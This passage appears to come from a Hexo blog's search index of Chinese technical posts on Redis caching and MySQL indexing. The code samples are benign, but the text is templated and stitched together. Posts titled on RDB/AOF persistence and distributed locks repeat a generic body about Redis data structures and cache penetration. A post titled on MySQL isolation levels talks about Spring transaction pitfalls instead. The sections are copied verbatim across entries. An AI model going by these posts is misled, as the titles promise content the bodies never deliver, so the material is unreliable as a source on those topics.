title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 持久化 RDB 和 AOF 怎么选</title>
      <link href="//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/"/>
      <url>//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-持久化-RDB-和-AOF-怎么选"><a href="#Redis-持久化-RDB-和-AOF-怎么选" class="headerlink" title="Redis 持久化 RDB 和 AOF 怎么选"></a>Redis 持久化 RDB 和 AOF 怎么选</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 分布式锁的正确姿势</title>
      <link href="//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/"/>
      <url>//redis-fen-bu-shi-suo-de-zheng-que-zi-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-分布式锁的正确姿势"><a href="#Redis-分布式锁的正确姿势" class="headerlink" title="Redis 分布式锁的正确姿势"></a>Redis 分布式锁的正确姿势</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>缓存穿透击穿雪崩怎么处理</title>
      <link href="//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/"/>
      <url>//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/</url>
      
        <content type="html"><![CDATA[<h1 id="缓存穿透击穿雪崩怎么处理"><a href="#缓存穿透击穿雪崩怎么处理" class="headerlink" title="缓存穿透击穿雪崩怎么处理"></a>缓存穿透击穿雪崩怎么处理</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 常见数据结构和使用场景</title>
      <link href="//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/"/>
      <url>//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-常见数据结构和使用场景"><a href="#Redis-常见数据结构和使用场景" class="headerlink" title="Redis 常见数据结构和使用场景"></a>Redis 常见数据结构和使用场景</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>数据库字段类型如何贴近业务</title>
      <link href="//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/"/>
      <url>//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="数据库字段类型如何贴近业务"><a href="#数据库字段类型如何贴近业务" class="headerlink" title="数据库字段类型如何贴近业务"></a>数据库字段类型如何贴近业务</h1><p>字段类型的选择直接影响性能和数据完整性。本文从实际项目经验出发讲如何选。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分页查询性能问题和游标分页</title>
      <link href="//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/"/>
      <url>//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/</url>
      
        <content type="html"><![CDATA[<h1 id="分页查询性能问题和游标分页"><a href="#分页查询性能问题和游标分页" class="headerlink" title="分页查询性能问题和游标分页"></a>分页查询性能问题和游标分页</h1><p>分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>慢 SQL 排查和优化完整流程</title>
      <link href="//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/"/>
      <url>//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="慢-SQL-排查和优化完整流程"><a href="#慢-SQL-排查和优化完整流程" class="headerlink" title="慢 SQL 排查和优化完整流程"></a>慢 SQL 排查和优化完整流程</h1><p>慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL 事务隔离级别和幻读问题</title>
      <link href="//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/"/>
      <url>//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL-事务隔离级别和幻读问题"><a href="#MySQL-事务隔离级别和幻读问题" class="headerlink" title="MySQL 事务隔离级别和幻读问题"></a>MySQL 事务隔离级别和幻读问题</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
